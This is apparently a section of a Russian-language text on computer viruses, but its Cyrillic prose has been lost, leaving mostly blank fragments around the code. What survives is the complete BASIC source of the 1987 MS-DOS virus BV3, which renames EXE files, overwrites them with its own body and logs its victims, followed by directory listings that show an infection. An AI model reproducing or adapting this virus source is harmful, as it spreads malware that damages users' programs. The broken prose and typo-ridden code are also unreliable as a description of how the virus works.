                     10.3   

            -
     ,  ,     ,
  .      -
   -.
          ,  -
      MS-DOS   
   -,     .
     ,     
   -,   
     VIRLENGTH ( -
)      .      
      .
 ,    -  -
 , , ,   APPEND   -
      
             SHELL
PRGname.
           .
          :

1.    BV3.EXE     .
2.        COMMAND.COM,                 SHELL.
3.    LENGTHVIR ( )    
                (   
      ).
4.     Microsoft-Quick_basic   
      /.


10 REM *************************************************
20 REM ***        BV3.BAS       ***
30 REM ***  . 1987                       ***
40 REM *************************************************
50 ON ERROR GO TO 670
60 REM *** 
70 REM ***   
80 REM ***    
90 LENGTHVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM ***     "INH"
120 REM ***  
130 SHELL "DIR *.exe inh"
140 REM ***   "INH"   
150 OPEN "R",1,"inh",32000
160 LINE INPUT#1, ORIGINAL$
170 LINE INPUT#1, ORIGINAL$
180 LINE INPUT#1, ORIGINAL$
190 LINE INPUT#1, ORIGINAL$
200 LINE INPUT#1, ORIGINAL$
210 ON ERROR GO TO 670
220 CLOSE = 2
230 F=1: LINE INPUT#1, ORIGINAL$
240 REM ** "%"-    BV3
250 REM *** "%"   :
260 REM ***    
270 IF MID$(ORIGINAL$,1,13) "%" THEN GO TO 210
280 ORIGINAL$= MID$(ORIGINAL$,1,13)
290 EXTENSION$=MID$(ORIGINAL$,9,13)
300 MID$(EXTENSION$,1,1)"."
310 REM ***     
320 F=F+1
330 IF  MID$(ORIGINAL$,F,1)=" " OR MID$(PROGONAL$,F,1)="."
    OR F=13 THEN GO TO 350
340 GO TO 320
350 ORIGINAL$= MID$(ORIGINAL$,1,F-1) + EXTENSION$
360 ON ERROR GO TO 210
365 TEST$=''
370 REM ***   
380 OPEN 'R',2, ORIGINAL$, LENGTHVIR
390 IF LOF(2) LENGTHVIR THEN GO TO 420
400 GET =2,2
410 LINE INPUT=2,TEST$
420 CLOSE
430 REM *** ,    
440 REM *** "%"    :
450 REM ***   
460 IF MID$(TEST$,2,1)="%"  THEN GO TO 210
470 CLOSE=1
480 ORIGINAL$=ORIGINAL$
490 MID$(ORIGINAL$,1,1)="%"
500 REM ***  "" 
510 C$="COPY"+ORIGINAL$+" "+ORIGINAL$
520 SHELL C$
530 REM ***    "" 
540 C$="COPY"+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM***   
570 OPEN ORIGINAL$ FOR APPEND AS =1 LEN=13
580 WRITE=1,ORIGINAL$
590 CLOSE=1
630 REM***  
640 PRINT "  ";ORIGINAL$;"! !
650 SYSTEM
660 REM***    
670 PRINT "VIRUS internal ERROR": SYSTEM

                     

              -
.   ,         ,
    .
        :

Katalog von A:\

SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
BV3       EXE    2641    7-13-87      8:27p
                4 Dateien 325632 Bytes frei

        :

Katalog von A:\

SORT      EXE    2655    7-22-85      8:43p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
BV3       EXE    2641    7-13-87      8:27p
INH               277    7-13-87      8:43p
%ORT      EXE    1664    4-22-85    12:00p
                6 Dateien 321536 Bytes frei

         INH,     -
  ,    %ORT.EXE. ,    "%",
       .
          
,           
.   "%"      , -
         ,
   ,   LENGTHVIR.
                   
.     ""       
  ,     "-
"  .
